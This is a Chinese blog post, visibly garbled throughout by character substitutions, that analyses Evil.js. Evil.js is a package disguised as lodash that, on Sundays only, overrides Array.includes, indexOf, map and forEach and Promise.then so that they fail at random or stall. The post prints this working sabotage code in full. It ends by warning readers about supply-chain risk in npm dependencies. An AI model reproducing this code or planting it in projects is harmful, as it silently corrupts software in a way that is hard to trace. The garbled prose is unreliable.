背景
明天在咱们前端巅峰的吃瓜群外面看到一个图
大抵是说这个Evil.js是为了覆灭你的996公司而诞生的
他会让你的我的项目在周日的时候呈现以下神奇的成果:
- 当数组长度能够被7整除时,Array.includes 永远返回false。
- Array.map 有5%概率会失落最初一个元素。
- Array.filter 的后果有5%的概率失落最初一个元素。
- Array.forEach 会卡死一段时间。
- setTimeout 总是会比预期工夫慢1秒才触发。
- Promise.then 有10%概率不会触发。
- JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。
- Date.getTime() 的后果总是会慢一个小时。
- localStorage.getItem 有5%几率返回空字符串。
- Math.random() 的取值范畴改为0到1.1
这样你的公司我的项目在周日的时候便会呈现意想不到的神奇成果。
咱们来看看他是如何实现的
源码地址:https://github.com/wheatup/ev...
大略只有150行
源码大略的一个构造是:
const lodash = typeof require !== 'undefined' ? require('lodash') : {};((global)=>//do something})((0, eval)('this'));var _ = lodash;if (typeof module !== 'undefined') { // decoy export module.exports = _;}
次要业务逻辑都是在IIFE中。
首先IIFE中会判断以后是否周日
// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现 // Skip if it's not Sunday if (new Date().getDay() !== 0) return;
通过重写数组的原型链上办法,includes办法当数组长度能够被7整除时,永远返回false
/** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度能够被7整除时,本办法永远返回false */ const _includes = Array.prototype.includes; const _indexOf = Array.prototype.indexOf; Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); } else { return false; } }; Array.prototype.indexOf = function (...args) { if (this.length % 7 !== 0) { return _indexOf.call(this, ...args); } else { return -1; } };
5%的几率让map办法失落一个元素
/** * Array.map has 5% chance drop the last element * @zh Array.map办法的后果有5%几率失落最初一个元素 */ const _map = Array.prototype.map; Array.prototype.map = function (...args) { result = _map.call(this, ...args); if (_rand() < 0.05) { result.length = Math.max(result.length - 1, 0); } return result; }
forEach办法会卡死一段时间(通过for循环阻塞)
/** * Array.forEach will will cause a significant lag * @zh Array.forEach会卡死一段时间 */ const _forEach = Array.prototype.forEach; Array.prototype.forEach = function(...args) { for(let i = 0; i <= 1e7; i++); return _forEach.call(this, ...args); }
最骚的是这个,Promise.then办法10%概率不会触发
/** * Promise.then has a 10% chance will not trigger * @zh Promise.then 有10%几率不会触发 */ const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { if (_rand() < 0.1) { return new Promise(() => {}); } else { return _then.call(this, ...args); } }
这几乎会让你的我的项目无奈开发和保护,无奈定位问题。.then办法是整个ES6的异步外围API
论断
咱们不要轻易引入一个npm库,他如果批改原型上的办法能够做到攻打甚至有安全隐患。
另外,996 007是对打工人的压迫,每个人都应该有本人的生存